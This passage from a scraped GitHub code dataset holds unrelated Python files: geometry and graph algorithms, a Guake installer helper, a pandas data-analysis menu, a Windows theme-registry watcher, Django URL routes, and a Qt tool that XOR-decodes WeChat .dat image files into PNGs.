p - v1)\r\n if s < 0 or s > l: # No need for a check if point is outside edge 'boundaries'\r\n return False\r\n # Yves's check\r\n nd = np.array([-d[1], d[0]])\r\n m_v = nd * np.sqrt(3) / 6\r\n if np.dot(nd / l, v1 - p) > np.linalg.norm(m_v):\r\n return False\r\n # Create next points\r\n p1 = v1 + d/3\r\n p2 = v1 + d/2 - m_v\r\n p3 = v1 + 2*d/3\r\n # Check with two inner edges\r\n if on_negative_side(p, p1, p2):\r\n return in_side(p, v1, p1, n-1) or in_side(p, p1, p2, n-1)\r\n if on_negative_side(p, p2, p3):\r\n return in_side(p, p2, p3, n-1) or in_side(p, p3, v2, n-1)\r\n return True\r\n\r\n\r\ndef _in_koch(p, V, n):\r\n V_next = np.concatenate((V[1:], V[:1]))\r\n return all(not on_negative_side(p, v1, v2) or in_side(p, v1, v2, n)\r\n for v1, v2 in zip(V, V_next))\r\n\r\n\r\ndef in_koch(L, V, n):\r\n # Triangle points (V) are positive oriented\r\n return [p for p in L if _in_koch(p, V, n)]\r\n\r\n\r\nL = np.array([(16, -16), (90, 90), (40, -40), (40, -95), (50, 10), (40, 15)])\r\nV = np.array([(0, 0), (50, -50*np.sqrt(3)), (100, 0)])\r\nfor n in range(3):\r\n print(n, in_koch(L, V, n))\r\nprint(in_koch(L, V, 100))\r\n\r\n# ----------------------------------------------------------------------\r\n# __main__ .... code section\r\nif __name__ == \"__main__\":\r\n \"\"\"Optionally...\r\n : - print the script source name.\r\n : - run the _demo\r\n \"\"\"\r\n# print(\"Script... {}\".format(script))\r\n #_demo()\r\n\r\n","repo_name":"Dan-Patterson/arraytools","sub_path":"arraytools/geometry/Extras/anotherPntinPoly.py","file_name":"anotherPntinPoly.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"31770742962","text":"class Graph():\n def __init__(self, V, Edges=None):\n # V:顶的个数\n # E: 边的条数\n # 利用数字来表示定点\n self.V = V\n self.mat = {}\n self.E = 0\n for i in range(V):\n self.mat[i] = []\n\n if Edges:\n for each in Edges:\n self.addEdge(each[0], each[1])\n\n\n def hasEdge(self, v, s):\n if v not in self.mat or s not in self.mat:\n raise ValueError(\"v or s not in this graph\")\n if v in self.mat[s]:\n return True\n else:\n return False\n\n\n def addEdge(self, x, y):\n # 增加一条边,x-y\n if x not in self.mat or y not in self.mat:\n raise ValueError(\"x or y not in this graph\")\n\n else:\n if y not in self.mat[x]:\n self.mat[x].insert(0, y)\n if x not in self.mat[y]:\n self.mat[y].insert(0, x)\n self.E += 1\n\n\n def delEdge(self, x, y):\n if x not in self.mat or y not in self.mat:\n raise ValueError(\"x or y not in this graph\")\n else:\n self.mat[x].pop(self.mat[x].index(y))\n self.mat[y].pop(self.mat[y].index(x))\n self.E -= 1\n\n\n def addV(self, name):\n if name in self.mat:\n raise ValueError(\"the point is alrady exist\")\n else:\n self.mat[name] = []\n self.V += 1\n\n\n def check_edge(self, x, y):\n \"\"\"\n check if x-y exist\n \"\"\"\n if x not in self.mat or y not in self.mat:\n raise ValueError(\"x or y not in this graph\")\n else:\n if x in self.mat[y] and y in self.mat[x]:\n return True\n elif x not in self.mat[y] and y not in self.mat[x]:\n return False\n else:\n raise FileExistsError(\"this edge has problem\")\n\n\n\n\n def search_BFS(self, x):\n# 找到和x联通的所有点\n if x not in self.mat:\n raise ValueError(\"x not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n check_list[x] = True\n check_stack = [self.mat[x]]\n while(check_stack):\n this_check = check_stack.pop(0)\n for each in this_check:\n if check_list[each] == False:\n check_list[each] = True\n check_stack.append(self.mat[each])\n res = []\n for i in range(self.V):\n if check_list[i] == True and i != x:\n res.append(i)\n return res\n\n def search_DFS(self, x):\n if x not in self.mat:\n raise ValueError(\"x not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n\n def DFS(index):\n if check_list[index] == False:\n check_list[index] = True\n for each in self.mat[index]:\n DFS(each)\n DFS(x)\n\n res = []\n for i in range(self.V):\n if check_list[i] == True and i != x:\n res.append(i)\n return res\n\n def marked(self, x, y):\n# 判断x和y是否联通\n if x not in self.mat or y not in self.mat:\n raise ValueError(\"x or y not in this graph\")\n x_list_set = self.search_DFS(x)\n return y in x_list_set\n\n\n def count(self, x):\n# 与定点x联通的所有点\n if x not in self.mat:\n raise ValueError(\"x or y not in this graph\")\n v_list = self.search_BFS(x)\n return len(v_list)\n\n\n def Paths_DFS(self, s):\n \"\"\"\n 起点为s的所有路径\n DFS\n \"\"\"\n if s not in self.mat:\n raise ValueError(\"s not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n res = []\n\n def DFS(x, list_tem):\n if check_list[x] == False:\n check_list[x] = True\n for each in self.mat[x]:\n DFS(each, list_tem+[str(x)])\n if x != s:\n res.append(list_tem+[str(x)])\n\n DFS(s, [])\n res_str = []\n for each in res:\n tem = each[0]+\"-\"+each[-1]+\":\"\n tem += \"-\".join(each)\n res_str.append(tem)\n return res_str\n\n\n def Paths_BFS(self, s):\n \"\"\"\n BFS\n \"\"\"\n if s not in self.mat:\n raise ValueError(\"s not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n res = []\n\n check_stack = [[s]]\n while check_stack:\n check_this = check_stack.pop(0)\n if check_list[check_this[-1]] == False:\n check_list[check_this[-1]] = True\n if check_this[-1] != s:\n res.append(check_this)\n for each in self.mat[check_this[-1]]:\n check_stack.append(check_this+[each])\n # print(res)\n res_str = []\n for each in res:\n each = list(map(str, each))\n tem = str(each[0]) + \"-\" + str(each[-1]) + \":\"\n tem += \"-\".join(each)\n res_str.append(tem)\n return res_str\n\n\n def hasPathTo(self, s, v):\n \"\"\"\n 是否存在s-v的路径\n \"\"\"\n if s not in self.mat or v not in self.mat:\n raise ValueError(\"s or v not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n res = []\n\n check_stack = [[s]]\n while check_stack:\n check_this = check_stack.pop(0)\n if check_list[check_this[-1]] == False:\n check_list[check_this[-1]] = True\n if check_this[-1] != s:\n res.append(check_this)\n for each in self.mat[check_this[-1]]:\n check_stack.append(check_this+[each])\n # print(res)\n for each in res:\n if each[0] == s and each[-1] == v:\n return True\n return False\n\n\n\n def Pathto(self, s, v):\n \"\"\"\n 给出路径或者 None\n :return:\n \"\"\"\n if s not in self.mat or v not in self.mat:\n raise ValueError(\"s or v not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n res = []\n\n check_stack = [[s]]\n while check_stack:\n check_this = check_stack.pop(0)\n if check_list[check_this[-1]] == False:\n check_list[check_this[-1]] = True\n if check_this[-1] != s:\n res.append(check_this)\n for each in self.mat[check_this[-1]]:\n check_stack.append(check_this+[each])\n\n # print(res)\n for each in res:\n if each[0] == s and each[-1] == v:\n each = list(map(str, each))\n tem = str(each[0]) + \"-\" + str(each[-1]) + \":\"\n tem += \"-\".join(each)\n return tem\n return None\n\n\n def DegreeOfSeparation(self, s, v):\n \"\"\"\n 返回s和v之间的间隔\n \"\"\"\n if s not in self.mat or v not in self.mat:\n raise ValueError(\"s or v not in this graph\")\n\n check_list = [False for _ in range(self.V)]\n res = []\n\n check_stack = [[s]]\n while check_stack:\n check_this = check_stack.pop(0)\n if check_list[check_this[-1]] == False:\n check_list[check_this[-1]] = True\n if check_this[-1] != s:\n res.append(check_this)\n for each in self.mat[check_this[-1]]:\n check_stack.append(check_this + [each])\n\n # print(res)\n for each in res:\n if each[0] == s and each[-1] == v:\n return len(each)-2\n return -1\n\n\n\n def CC(self):\n \"\"\"\n 联通分量,返回一个list,每个值代表这个定点属于哪个联通分量,使用DFS\n :return:\n \"\"\"\n def DFS(index):\n if res_list[index] == -1:\n res_list[index] = count\n check = self.mat[index]\n for each in check:\n DFS(each)\n\n res_list = [-1 for _ in range(self.V)]\n count = 1\n for i in range(len(res_list)):\n if res_list[i] == -1:\n DFS(i)\n count += 1\n\n return res_list\n\n def connected(self, v, w):\n \"\"\"\n 判断v和w是否相连\n \"\"\"\n if w not in self.mat or v not in self.mat:\n raise ValueError(\"w or v not in this graph\")\n\n marked = self.CC()\n return marked[v] == marked[w]\n\n\n def id(self, v):\n \"\"\"\n v联通分量的标识符\n \"\"\"\n if v not in self.mat:\n raise ValueError(\"v not in this graph\")\n marked = self.CC()\n return marked[v]\n\n\n\n\n\n def __len__(self):\n return self.V\n\n\n\n\nif __name__ == \"__main__\":\n Edges = [[0, 5], [4,3], [0, 1], [9, 12], [6, 4], [5, 4], [0, 2], [11,12], [9, 10], [0, 6], [7, 8], [9, 11], [5, 3]]\n G = Graph(14, Edges=Edges)\n print(G.mat)\n # G.delEdge(0,5)\n # print(G.mat)\n # print(G.check_edge(4, 3))\n # print(G.check_edge(5, 9))\n # print(G.search_BFS(0))\n # print(G.search_BFS(12))\n # print(G.marked(0, 12))\n # print(G.search_DFS(0))\n # print(G.search_DFS(12))\n # print(G.marked(0, 12))\n # print(G.count(5))\n print(G.Paths_DFS(0))\n print(G.Paths_BFS(0))\n print(G.hasPathTo(6, 7))\n print(G.Pathto(8, 7))\n print(G.Paths_BFS(12))\n print(G.Pathto(12, 10))\n print(G.CC())\n print(G.connected(0,13))\n print(G.connected(0,5))\n print(G.DegreeOfSeparation(0, 4))\n\n\n\n\n\n\n\n\n\n","repo_name":"NeilWangziyu/HighPerformancwAlgorithm","sub_path":"Graph_no_direction.py","file_name":"Graph_no_direction.py","file_ext":"py","file_size_in_byte":9616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12025502822","text":"r = {\n \"@context\": \"http://www.w3.org/ns/anno.jsonld\",\n \"id\": \"http://example.org/anno7\",\n \"type\": \"Annotation\",\n \"body\": {\n \"type\": \"TextualBody\",\n \"value\": \"Comment text\",\n \"format\": \"text/plain\"\n },\n \"target\": \"http://example.org/target1\"\n}\n\nfrom wadm import WADM\nanno = WADM.Annotation()\nanno.set_id(\"http://example.org/anno7\")\nanno.body = WADM.TextualBody()\nanno.body.value = \"Comment text\"\nanno.body.format = \"text/plain\"\nanno.target = \"http://example.org/target1\"\nanno.to_json()","repo_name":"giacomomarchioro/pyWADM","sub_path":"examples/Example-07.py","file_name":"Example-07.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"73025918133","text":"#!/usr/bin/env python\n\n# Beware:\n# - this script is executed using the system's python, so with not easy control on which\n# packages are available. Same, we cannot directly install new ones using pip.\n# - the role of the first stage of this installer is just to install a fresh new virtualenv\n# with a *controled* version of python, pip and virtualenv, and launch the second part of\n# the installer, 'install-stage2.py', which will run in the virtualenv.\n\n# Note:\n# - I try to keep this installer python-2.6 friendly, but I really encourage you to install\n# Python 2.7\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nfrom optparse import OptionParser\n\ng_prefix = None\ng_src_dir = os.path.abspath(os.path.dirname(__file__))\n\n# Do *not* use optparse or argparse here, we are not sure on which version of python we are!\n\nisWindows = False\nif sys.platform.startswith('win32'):\n isWindows = True\n\n#\n# Utility functions\n#\n\n\nclass bcolors(object):\n DEBUG = '\\033[90m'\n HEADER = '\\033[95m'\n OKBLUE = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n BOOT = '\\033[94m'\n ENDC = '\\033[0m'\n\n# Do *not* use color when:\n# - on windows\n# - not in a terminal except if we are in Travis CI\nif (isWindows or (\n not os.environ.get(\"TRAVIS\") and\n not sys.stdout.isatty() and\n not os.environ.get(\"TERM\") in {\n \"xterm\",\n \"xterm-256colors\"\n })):\n bcolors.HEADER = ''\n bcolors.OKBLUE = ''\n bcolors.OKGREEN = ''\n bcolors.WARNING = ''\n bcolors.FAIL = ''\n bcolors.BOLD = ''\n bcolors.UNDERLINE = ''\n bcolors.BOOT = ''\n bcolors.ENDC = ''\n\n\ndef flush():\n sys.stdout.flush()\n sys.stderr.flush()\n\n\ndef printInfo(text):\n print(bcolors.OKBLUE + \"[INFO ] \" + bcolors.ENDC + text)\n flush()\n\n\ndef printDebug(text):\n print(bcolors.DEBUG + \"[DEBUG] \" + bcolors.ENDC + text, file=sys.stderr)\n flush()\n\n\ndef printError(text):\n print(bcolors.FAIL + \"[ERROR] \" + bcolors.ENDC + text, file=sys.stderr)\n flush()\n\n\ndef printSeparator(char=\"-\", color=bcolors.OKGREEN):\n print(color + char * 79 + bcolors.ENDC)\n flush()\n\n\ndef printNote(text):\n print(bcolors.HEADER + \"[NOTE ] \" + bcolors.ENDC + text)\n flush()\n\n\ndef printBoot(text):\n print(bcolors.BOOT + \"[BOOT ] \" + bcolors.ENDC + text)\n flush()\n\n\ndef run(cmd, cwd=None, shell=False):\n print(bcolors.OKGREEN + \"[CMD ]\" + bcolors.ENDC + \" {}\".format(\" \".join(cmd)))\n flush()\n subprocess.check_call(cmd, shell=shell, cwd=cwd)\n\n\ndef call(cmd, cwd=None, shell=False):\n print(bcolors.OKGREEN + \"[CMD ]\" + bcolors.ENDC + \" {}\".format(\" \".join(cmd)))\n flush()\n return subprocess.call(cmd, shell=shell, cwd=cwd)\n\n\ndef run_background(cmd, cwd=None, shell=False):\n print(bcolors.OKGREEN + \"[CMD (background)\" + bcolors.ENDC + \"] {}\".format(\" \".join(cmd)))\n flush()\n subprocess.Popen(cmd, cwd=cwd, shell=shell)\n\n\ndef execute(cmdLine):\n return run([cmdLine], shell=True)\n\n#\n\n\ndef addArgumentParser(description=None):\n usage = \"usage: %prog [options]\\n\\n{}\".format(description)\n\n parser = OptionParser(usage=usage)\n parser.add_option(\"-p\", \"--prefix\",\n dest=\"prefix\",\n help=\"install architecture-independent files in PREFIX\",\n metavar=\"DIR\",\n default=\"/usr/local\")\n parser.add_option(\"-q\", \"--quiet\",\n action=\"store_false\", dest=\"verbose\", default=True,\n help=\"don't print status messages to stdout\")\n return parser\n\n\ndef parse(parser):\n (options, args) = parser.parse_args()\n global g_prefix\n g_prefix = options.prefix\n return (options, args)\n\n\n#\n\ndef makedirs(dirPath):\n try:\n os.makedirs(dirPath)\n except:\n pass\n\n\ndef copyFile(relativeSrcPath, relativeDestPath):\n printInfo(\"Copying {} to {}\".format(relativeSrcPath, relativeDestPath))\n src_full_path = os.path.join(g_src_dir, relativeSrcPath)\n src_file_name = os.path.basename(relativeSrcPath)\n dst_full_path = os.path.join(g_prefix, relativeDestPath)\n printDebug(\"Src full path: {}\".format(src_full_path))\n printDebug(\"Src file path: {}\".format(src_file_name))\n printDebug(\"Dst full path: {}\".format(dst_full_path))\n dst_dir = os.path.dirname(dst_full_path)\n makedirs(dst_dir)\n shutil.copy(src_full_path, dst_full_path)\n printDebug(\"{} -> {}\".format(relativeSrcPath, dst_full_path))\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/Guake_guake/guake-master/install-lib.py","file_name":"install-lib.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"9560069316","text":"from libs.Console.Terminal import Output\n\n\nclass Confirm(object):\n @staticmethod\n def confirm(message=None):\n if (message == None):\n message = \"Are you sure?\"\n yes = ['Yes']\n no = ['No']\n while True:\n Output.yellow(message + \" [Yes] to confirm or [No] to cancel: \")\n user_input = input('')\n if (user_input in yes):\n return True\n elif (user_input in no):\n return False\n else:\n Output.red(\"invaild input\")","repo_name":"Noddy26/RemoteGamingConsole","sub_path":"Server_code/libs/Setup/Confirm.py","file_name":"Confirm.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40497347746","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: ZyVerus\n\nDescription: This program imports .csv files and outputs their data in the CLI and as a plotted graph using matplotlib.\n\nNote: Plotting for the Population Data is currently not working and displaying as intended. Code requires some rework.\n\nThird party library utilized using a separate Anaconda environment in Visual Studio 2019.\n\nThird party libraries:\nmatplotlib\npandas\n\n\"\"\"\n\nimport sys\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef main():\n \"\"\" main function \"\"\"\n # CLI Menu\n menu(\"init_run\")\n while True:\n menu(\"prompts\")\n inp = input(\"\\n> \").strip()\n menu(\"sl\")\n # Switch\n # Display all States\n if inp == \"1\":\n analyze_population()\n elif inp == \"2\":\n analyze_housing()\n # Exit Program\n elif inp == \"0\":\n menu(\"exit\")\n sys.exit(0)\n else:\n menu(\"invalid\")\n menu(\"proceed\")\n\ndef conv_file(type):\n \"\"\" Set dataframe from the csv file \"\"\"\n if type == \"population\":\n filename = \"PopChange.csv\"\n elif type == \"housing\":\n filename = \"Housing.csv\"\n try:\n file = open(filename, 'r')\n data_frame = pd.read_csv(file)\n return data_frame\n file.close()\n except (FileNotFoundError, Exception):\n print(\"ERROR: File \" + filename + \" not found.\")\n menu(\"proceed\")\n return None\n #finally:\n # file.close()\n\ndef analyze_population():\n \"\"\" Takes panda data and outputs it to the user for population data \"\"\"\n # Filter Outliers Constants\n LOWER_QUANTILE = .15\n UPPER_QUANTILE = .85\n # Algorithm Conrols\n flag = False\n col = -1\n # Get Data Frame\n data_frame = conv_file(\"population\")\n # If converting File Data failed, return to Main Menu\n if data_frame is None:\n return\n\n print(\"You have chosen to analyze Population Data.\")\n\n while not flag:\n print(\"Select the Column you want to analyze: \")\n print(\"a.\", data_frame.columns[4])\n print(\"b.\", data_frame.columns[5])\n print(\"c.\", data_frame.columns[6])\n print(\"z. Exit\")\n inp = input(\"\\n> \").strip().lower()\n\n if inp == \"a\":\n flag = True\n col = 4\n elif inp == \"b\":\n flag = True\n col = 5\n elif inp == \"c\":\n flag = True\n col = 6\n elif inp == \"z\":\n flag = True\n else:\n menu(\"invalid\")\n menu(\"proceed\")\n\n if col != -1:\n print(\"You selected {}\".format(data_frame.columns[col].title()))\n print(\"The statistics for this column are: \")\n print(\n data_frame.describe()[data_frame.columns[col]].apply(\n lambda val: format(val, '.0f')\n )\n )\n\n count = 20\n bins = [\n data_frame[data_frame.columns[col]].quantile(x / count)\n for x in range(count)\n if LOWER_QUANTILE < (x / count) < UPPER_QUANTILE\n ]\n bins.sort() \n data_frame.hist(\n column=data_frame.columns[col], bins=bins, edgecolor=\"w\"\n )\n plt.xlim(\n [data_frame[data_frame.columns[col]].quantile(LOWER_QUANTILE),\n data_frame[data_frame.columns[col]].quantile(UPPER_QUANTILE)]\n )\n plt.xlabel(data_frame.columns[col], fontsize=14)\n plt.ylabel(\"Instances of Population\", fontsize=14)\n plt.title(\"Population Data\")\n print(\"\\nThe Histogram for this column is now displayed.\\n\")\n plt.show()\n\ndef analyze_housing():\n \"\"\" Takes panda data and outputs it to the user for housing data \"\"\"\n # Algorithm Conrols\n flag = False\n col = -1\n # Get Data Frame\n data_frame = conv_file(\"housing\")\n # If converting File Data failed, return to Main Menu\n if data_frame is None:\n return\n # Initialize Column Type\n column_type = \"\"\n\n print(\"You have chosen to analyze Housing Data.\")\n\n while not flag:\n print(\"Select the Column you want to analyze: \")\n print(\"a.\", data_frame.columns[0])\n print(\"b.\", data_frame.columns[1])\n print(\"c.\", data_frame.columns[2])\n print(\"d.\", data_frame.columns[4])\n print(\"e.\", data_frame.columns[6])\n print(\"z. Exit\")\n inp = input(\"\\n> \").strip().lower()\n\n if inp == \"a\":\n flag = True\n col = 0\n column_type = \"Age\"\n elif inp == \"b\":\n flag = True\n col = 1\n column_type = \"Bedrooms\"\n elif inp == \"c\":\n flag = True\n col = 2\n column_type = \"Year Built\"\n elif inp == \"d\":\n flag = True\n col = 4\n column_type = \"Overall Rooms\"\n elif inp == \"e\":\n flag = True\n col = 6\n column_type = \"Utility Cost\"\n elif inp == \"z\":\n flag = True\n else:\n menu(\"invalid\")\n menu(\"proceed\")\n\n bins = 20\n if col != -1:\n print(\"You selected {}\".format(data_frame.columns[col].title()))\n print(\"The statistics for this column are: \")\n print(\n data_frame.describe()[data_frame.columns[col]].apply(\n lambda val: format(val, '.0f')\n )\n )\n data_frame.hist(\n column=data_frame.columns[col], bins=bins, edgecolor=\"w\"\n )\n plt.xlabel(column_type, fontsize=14)\n plt.ylabel(\"Quantity Built\", fontsize=14)\n plt.title(\"Housing Data\")\n print(\"\\nThe Histogram for this column is now displayed.\\n\")\n plt.show()\n\ndef menu(option):\n \"\"\" used for displaying the menu in the CLI \"\"\"\n intro = \"Welcome to the Python Data Analysis Application.\\n\"\n closing = (\n \"Thank you for using the Python Data Analysis Application.\"\n + \"\\nPress ENTER to close this console.\"\n )\n prompts = (\n \"Select the file you want to analyze:\" \\\n + \"\\n1 - Population Data\" \\\n + \"\\n2 - Housing Data\" \\\n + \"\\n0 - Exit Program\"\n )\n invalid = \"ERROR: Invalid Selection...\"\n back = \"BACK: Input '0' at any point to return to the main menu.\"\n\n if option == \"init_run\":\n print(intro)\n elif option == \"prompts\":\n print(prompts)\n elif option == \"invalid\":\n print(invalid)\n elif option == \"back\":\n print(back)\n elif option == \"proceed\":\n input(\"Press ENTER to proceed...\\n\")\n elif option == \"sl\":\n print()\n elif option == \"exit\":\n print(closing)\n\n# Execute main function\nmain()\n","repo_name":"ZyVerus/Academic-Projects","sub_path":"Python/Secure Development/Data Analysis/data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":6645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2057767090","text":"import os\nimport sys\nimport threading\nimport winreg\nfrom typing import Callable\n\nimport __main__\nimport win32api\n\nfrom . import __log as _l\nfrom . import __utils as _u\n\nTHEME_ENTRY = r\"Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\"\nWINDOW_THEME_ENTRY = \"AppsUseLightTheme\"\nTASKBAR_THEME_ENTRY = \"SystemUsesLightTheme\"\n\nICON_PATH = os.path.join(\"App\", \"assets\")\nICON_NAME_LIGHT = \"l\"\nICON_NAME_DARK = \"d\"\nICON_NAME_INTACT = \"i\"\nICON_NAME_BROKEN = \"b\"\nICON_EXT = \".ico\"\n\nFROZEN = getattr(sys, \"frozen\", False)\n\nThemeWatcherCallbackType = Callable[[bool], None]\n\n\ndef _monitor_registry_changes() -> None:\n _l.info(f\"started theme watcher\")\n if _key is None:\n return\n lastWindow: bool = winreg.QueryValueEx(_key, WINDOW_THEME_ENTRY)[0] == 1\n lastTaskbar: bool = winreg.QueryValueEx(_key, TASKBAR_THEME_ENTRY)[0] == 1\n while True:\n if _key is None:\n return\n win32api.RegNotifyChangeKeyValue(\n _key, False, winreg.REG_NOTIFY_CHANGE_LAST_SET, None, False\n )\n if _key is None:\n return\n _l.debug(f\"theme registry changed\")\n window: bool = winreg.QueryValueEx(_key, WINDOW_THEME_ENTRY)[0] == 1\n taskbar: bool = winreg.QueryValueEx(_key, TASKBAR_THEME_ENTRY)[0] == 1\n if window != lastWindow:\n lastWindow = window\n _l.debug(f\"window theme changed to {window}\")\n threading.Thread(target=windowCallback, args=(window,)).start()\n if taskbar != lastTaskbar:\n lastTaskbar = taskbar\n _l.debug(f\"taskbar theme changed to {taskbar}\")\n threading.Thread(target=taskbarCallback, args=(taskbar,)).start()\n\n\ndef isTBLight() -> bool:\n key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, THEME_ENTRY, 0, winreg.KEY_READ)\n light = winreg.QueryValueEx(key, TASKBAR_THEME_ENTRY)[0]\n winreg.CloseKey(key)\n return light == 1\n\n\ndef isWindowLight() -> bool:\n key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, THEME_ENTRY, 0, winreg.KEY_READ)\n light = winreg.QueryValueEx(key, WINDOW_THEME_ENTRY)[0]\n winreg.CloseKey(key)\n return light == 1\n\n\ndef getTBIconPath(intact: bool, light: bool | None = None) -> str:\n path = _u.getBundledFilePath(\n os.path.join(\n ICON_PATH,\n f\"{ICON_NAME_LIGHT if (light if light is not None else isTBLight()) else ICON_NAME_DARK}{ICON_NAME_INTACT if intact else ICON_NAME_BROKEN}{ICON_EXT}\",\n )\n )\n _l.debug(f\"using taskbar icon: {path}\")\n return path\n\n\ndef start() -> None:\n global _thread, _key\n _l.info(\"starting theme watcher...\")\n _key = winreg.OpenKey(\n winreg.HKEY_CURRENT_USER, THEME_ENTRY, 0, winreg.KEY_NOTIFY | winreg.KEY_READ\n )\n _thread = threading.Thread(target=_monitor_registry_changes)\n _thread.daemon = True\n _thread.start()\n\n\ndef stop() -> None:\n global _key\n _l.info(\"stopping theme watcher...\")\n if _key is not None:\n winreg.CloseKey(_key)\n _key = None\n if _thread:\n _thread.join()\n _l.info(\"stopped theme watcher.\")\n\n\n_key: winreg.HKEYType | None = None\n_thread: threading.Thread | None = None\nwindowCallback: ThemeWatcherCallbackType = lambda _: None\ntaskbarCallback: ThemeWatcherCallbackType = lambda _: None\n","repo_name":"JUS4HR/proxy-control","sub_path":"App/__dark.py","file_name":"__dark.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37089779578","text":"from django.urls import path\nfrom ..get import all, get\nfrom ..get.items import homeProducts, specifications, subCategories, mainCategories, reviews, proSpecInv, cart, ordersFiltered, productSpec\n\nurlpatterns = [\n path('mainCategories', mainCategories.get_main_categories),\n path('subCategories', subCategories.get_sub_categories),\n path('cart/', cart.get_cart_item),\n path('proSpecInv/',\n proSpecInv.get_product_specifications_inv),\n path('spec/', specifications.get_specifications),\n path('productSpec/', productSpec.get_product_specifications),\n path('reviews/', reviews.get_reviews),\n path('reviews/', reviews.get_reviews),\n path('ordersFiltered//',\n ordersFiltered.get_orders_filtered),\n\n path('getHomeProducts/page=/specValue=/search=/category=',\n homeProducts.get_home_products),\n path('getMaxPage/specValue=/search=/category=',\n homeProducts.get_max_page),\n path('productNames/', homeProducts.get_searched_products),\n path('productNames/', homeProducts.get_searched_products),\n\n path('', all.get_all_data),\n path('/', get.get_data),\n]\n","repo_name":"abdullah-ezzat/pycommerce","sub_path":"api/urlsconfig/all.py","file_name":"all.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73528534454","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n__author__ = \"Maylon\"\n\n\nimport os\nimport sys\nimport re\nfrom threading import Thread\nfrom PySide2.QtWidgets import *\nfrom PySide2.QtCore import QFile, Signal, QObject\nfrom PySide2.QtUiTools import QUiLoader\n\n\n# os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = 'platforms' # 打包取消注释\n\n\nclass MySignal(QObject):\n success_signal = Signal()\n\n\nclass main_ui:\n def __init__(self):\n qfile = QFile(\"ui/main_ui.ui\")\n qfile.open(qfile.ReadOnly)\n qfile.close()\n self.ui = QUiLoader().load(qfile)\n self.files_list = None\n self.default_path = \"./\"\n self.save_path = \"\"\n self.key = \"\"\n self.my_signal = MySignal()\n\n self.ui.decode_btn.clicked.connect(self.decode)\n self.ui.get_key_btn.clicked.connect(self.get_key)\n self.ui.set_default_btn.clicked.connect(self.set_default_path)\n self.my_signal.success_signal.connect(self.success)\n\n def decode(self):\n \"\"\"\n batch decode dat files\n\n :return: None\n \"\"\"\n try:\n if self.key == \"\":\n QMessageBox.critical(self.ui, '错误', '请先获取加密密钥')\n else:\n f = QFileDialog.getOpenFileNames(self.ui, '选择文件', '')\n if f:\n if self.save_path == \"\":\n sp = QFileDialog.getExistingDirectory(self.ui, '请选择一个文件夹作为文件存放路径')\n if sp:\n self.save_path = sp\n self.files_list = f[0]\n file_name_list = [re.findall(r'([^<>/\\\\\\|:\"\"\\*\\?]+)\\.\\w+$', f) for f in self.files_list]\n if not os.path.exists(self.save_path):\n os.mkdir(self.save_path)\n\n def threadFunc():\n for i in range(len(self.files_list)):\n self.imageDecode(self.files_list[i], file_name_list[i][0])\n self.my_signal.success_signal.emit()\n\n thread = Thread(target=threadFunc)\n thread.start()\n except Exception as e:\n QMessageBox.critical(self.ui, '错误', str(e))\n\n def get_key(self):\n \"\"\"\n get the encode key\n\n :return: None\n \"\"\"\n try:\n file = QFileDialog.getOpenFileName(self.ui, '请打开一个bat文件用于获取加密密钥', self.default_path, 'dat files(*.dat)')[0]\n if file:\n xor_code = get_xor_code(file)\n if xor_code == \"\":\n QMessageBox.critical(self.ui, '错误', '获取dat十六进制值失败')\n else:\n self.key = hex(int(xor_code, 16) ^ int('ffd8', 16))[-2:]\n QMessageBox.information(self.ui, '成功', '解密密钥为 0x' + self.key)\n except Exception as e:\n QMessageBox.critical(self.ui, '错误', str(e))\n\n def set_default_path(self):\n \"\"\"\n set a default path\n\n :return: None\n \"\"\"\n p = QFileDialog.getExistingDirectory(self.ui, '请选择一个文件夹作为默认路径')\n if p:\n self.default_path = p\n\n def imageDecode(self, filename, output_filename):\n \"\"\"\n main decode function: transfer a dat file to png file\n\n :param filename: the absolute file path\n :param output_filename: only the file name\n :return: None\n \"\"\"\n dat = open(filename, 'rb')\n out = self.save_path + '/' + output_filename + \".png\"\n png = open(out, 'wb')\n for now in dat:\n for nowByte in now:\n newByte = nowByte ^ int(self.key, 16)\n png.write(bytes([newByte]))\n dat.close()\n png.close()\n\n def success(self):\n QMessageBox.information(self.ui, '成功', '处理完成')\n\n\ndef get_xor_code(filename):\n \"\"\"\n open file and get its xor code\n\n :param filename: the absolute file path\n :return: xor code if success else \"\"\n \"\"\"\n f = open(filename, \"rb\")\n res = \"\"\n for i in range(1, 3):\n c = 